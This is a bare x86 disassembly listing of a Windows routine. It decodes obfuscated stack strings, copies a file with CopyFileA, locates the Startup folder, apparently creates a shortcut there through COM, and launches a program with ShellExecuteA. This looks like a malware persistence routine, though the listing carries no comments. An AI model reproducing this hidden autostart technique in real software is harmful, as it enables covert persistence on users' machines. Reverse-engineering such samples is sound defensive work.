lea ecx, [ebp - 0x5c8]
call fcn.004026c0
lea ecx, [ebp - 0x680]
call fcn.004026c0
lea ecx, [ebp - 0x6b0]
call fcn.004026c0
lea ecx, [ebp - 0x6c8]
call fcn.004026c0
lea ecx, [ebp - 0x6e0]
call fcn.004026c0
lea ecx, [ebp - 0x6f8]
call fcn.004026c0
lea ecx, [ebp - 0x710]
mov byte [ebp - 4], 0x73
call fcn.004026c0
sub esp, 0x18
lea ecx, [ebp - 0x41c]
mov esi, esp
call fcn.00402800
push eax
mov ecx, esi
call fcn.00402760
xor cl, cl
call fcn.00416950
movaps xmm0, xmmword [0x526140]
lea ecx, [ebp - 0x2be]
add esp, 0x18
mov dword [ebp - 0x2ae], 0xa0b9e5e9
movups xmmword [ebp - 0x2be], xmm0
mov dword [ebp - 0x2aa], 0x978686ed
mov dword [ebp - 0x2a6], 0x80809799
mov word [ebp - 0x2a2], 0x100
call fcn.00414500
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x48], eax
mov word [ebp - 0xe4], 0xe6
mov byte [ebp - 0xe2], 1
call fcn.0040a410
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c0], 0xc8949a9b
mov dword [ebp - 0x1bc], 0x9d9ed3
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 0x1b8], 1
call fcn.0040b910
lea ecx, [ebp - 0x1c9]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c9], 0xc8949a9b
mov dword [ebp - 0x1c5], 0x9d9ecf
mov byte [ebp - 0x1c1], 1
call fcn.0040b910
mov edi, eax
lea ecx, [ebp - 0x4c0]
lea eax, [ebp - 0x878]
push eax
call fcn.00402760
mov esi, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x402]
movaps xmm0, xmmword [0x526fe0]
movups xmmword [ebp - 0x402], xmm0
mov dword [ebp - 0x3f2], 0xecade5e9
mov dword [ebp - 0x3ee], 0xf09a9ce2
mov word [ebp - 0x3ea], 0xf3
mov byte [ebp - 0x3e8], 1
call fcn.00416750
push esi
mov edx, eax
lea ecx, [ebp - 0x4d8]
call fcn.00469ec0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x758]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x76
push ecx
mov edx, eax
lea ecx, [ebp - 0x740]
call fcn.00469fc0
add esp, 4
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x770]
push dword [ebp - 0x20]
mov edx, eax
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x728]
call fcn.00469fc0
add esp, 4
push dword [ebp - 0x28]
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x300]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x7a
push ecx
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.00469e00
add esp, 4
push dword [ebp - 0x48]
mov edx, eax
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x278]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
call fcn.004026c0
lea ecx, [ebp - 0x728]
call fcn.004026c0
lea ecx, [ebp - 0x770]
call fcn.004026c0
lea ecx, [ebp - 0x740]
call fcn.004026c0
lea ecx, [ebp - 0x758]
call fcn.004026c0
lea ecx, [ebp - 0x4d8]
call fcn.004026c0
lea ecx, [ebp - 0x4c0]
mov byte [ebp - 4], 0x84
call fcn.004026c0
sub esp, 0x18
lea ecx, [ebp - 0x278]
mov esi, esp
call fcn.00402800
push eax
mov ecx, esi
call fcn.00402760
xor cl, cl
call fcn.00416950
add esp, 0x18
lea ecx, [ebp - 0x278]
call fcn.004026c0
lea ecx, [ebp - 0x41c]
call fcn.004026c0
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x44]
call fcn.004026c0
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x50
call fcn.004026c0
cmp byte [ebp - 0x4e], 0
je 0x448348
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x158], 0xecf6ffed
mov word [ebp - 0x154], 0x100
call fcn.0040b8e0
push eax
call fcn.004ebe71
add esp, 4
test eax, eax
je 0x448348
push eax
lea ecx, [ebp - 0x238]
call fcn.00402760
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xe7]
mov word [ebp - 0xe7], 0xe5
mov byte [ebp - 0xe5], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x238]
call fcn.00465f10
lea ecx, [ebp - 0xb7]
mov word [ebp - 0xb7], 0xe6
mov byte [ebp - 0xb5], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4d8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x86
push ecx
mov edx, eax
lea ecx, [ebp - 0x4c0]
call fcn.00469e00
add esp, 4
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x87
call fcn.00465f20
lea ecx, [ebp - 0x4c0]
call fcn.004026c0
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 4], 0x85
call fcn.004026c0
lea ecx, [ebp - 0x238]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x448054
lea ecx, [ebp - 0x238]
call fcn.00402800
push eax
lea ecx, [ebp - 0x41c]
call fcn.00402760
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x41c]
or edi, 0x2000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.004167c0
mov byte [ebp - 0x11], 0
test al, al
je 0x448058
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x85
test edi, 0x2000
je 0x44807e
and edi, 0xffffdfff
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.004026c0
cmp byte [ebp - 0x11], 0
je 0x448339
lea ecx, [ebp - 0x152]
mov dword [ebp - 0x152], 0xd9c3df97
mov word [ebp - 0x14e], 0x100
call fcn.0040b8e0
lea ecx, [ebp - 0xba]
mov word [ebp - 0xba], 0xe5
mov esi, eax
mov byte [ebp - 0xb8], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x4d8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x89
push ecx
mov edx, eax
lea ecx, [ebp - 0x4c0]
call fcn.00469fc0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x278]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x4c0]
call fcn.004026c0
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 4], 0x8d
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x278]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x448169
lea ecx, [ebp - 0x278]
call fcn.00402800
lea ecx, [ebp - 0x554]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x44832e
lea eax, [ebp - 0x878]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x44832e
lea eax, [ebp - 0x878]
push eax
lea ecx, [ebp - 0x44]
call fcn.00402760
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x146]
mov dword [ebp - 0x146], 0xd7d5d697
mov word [ebp - 0x142], 0x100
call fcn.0040b8e0
mov esi, eax
mov word [ebp - 0xbd], 0xe5
lea eax, [ebp - 0xb4]
mov byte [ebp - 0xbb], 1
push eax
lea ecx, [ebp - 0xbd]
call fcn.0040a410
mov edx, eax
lea ecx, [ebp - 0x4d8]
call fcn.00469e60
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x4c0]
call fcn.00469e00
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x90
call fcn.00465f20
lea ecx, [ebp - 0x4c0]
call fcn.004026c0
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 4], 0x8e
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x448326
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x448326
lea eax, [ebp - 0x64]
push eax
push 0x50d520
push 1
push 0
push 0x50d550
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x448320
mov eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x278]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.00402800
push eax
push dword [ebp - 0x64]
call esi
mov eax, dword [ebp - 0x64]
lea ecx, [ebp - 0xb4]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.00402800
push eax
push dword [ebp - 0x64]
call esi
mov ecx, dword [ebp - 0x64]
lea edx, [ebp - 0x27c]
push edx
push 0x50d530
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x448317
push 0x208
lea eax, [ebp - 0xb50]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0xb50]
lea ecx, [ebp - 0x44]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.00402800
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x27c]
lea edx, [ebp - 0xb50]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x27c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x44]
call fcn.004026c0
lea ecx, [ebp - 0x278]
call fcn.004026c0
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x50
call fcn.004026c0
lea ecx, [ebp - 0x554]
call fcn.00402800
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0xd2decad6
mov esi, eax
mov word [ebp - 0x148], 0x100
call fcn.0040b8e0
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x598]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x91
mov ecx, esp
push 0x535b44
call fcn.00466110
mov byte [ebp - 4], 0x50
call fcn.0041ff20
add esp, 0x30
lea ecx, [ebp - 0x4a8]
call fcn.004026c0
lea ecx, [ebp - 0xb4]
call fcn.004026c0
lea ecx, [ebp - 0x2e8]
call fcn.004026c0
lea ecx, [ebp - 0x554]
call fcn.004026c0
lea ecx, [ebp - 0x3c0]
call fcn.00468250
lea ecx, [ebp - 0x2a0]
call fcn.004026c0
lea ecx, [ebp - 0x3cc]
call fcn.00468250
lea ecx, [ebp - 0x350]
call fcn.00468250
lea ecx, [ebp - 0x5b0]
call fcn.004026c0
lea ecx, [ebp - 0x434]
call fcn.004026c0
lea ecx, [ebp - 0x628]
call fcn.004026c0
lea ecx, [ebp - 0x698]
call fcn.004026c0
lea ecx, [ebp - 0x598]
mov byte [ebp - 4], 7
call fcn.004026c0
lea ecx, [ebp - 0x508]
call fcn.00462cd0
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x508]
call fcn.00467580
test al, al
je 0x4454e0
lea ecx, [ebx + 8]
call fcn.004026c0
lea ecx, [ebx + 0x20]
call fcn.00463bb0
lea ecx, [ebx + 0x30]
call fcn.00463bb0
lea ecx, [ebx + 0x40]
call fcn.00463bb0
lea ecx, [ebx + 0x50]
call fcn.00463bb0
lea ecx, [ebx + 0x60]
call fcn.00463bb0
lea ecx, [ebx + 0x70]
call fcn.00463bb0
lea ecx, [ebx + 0x80]
call fcn.004026c0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret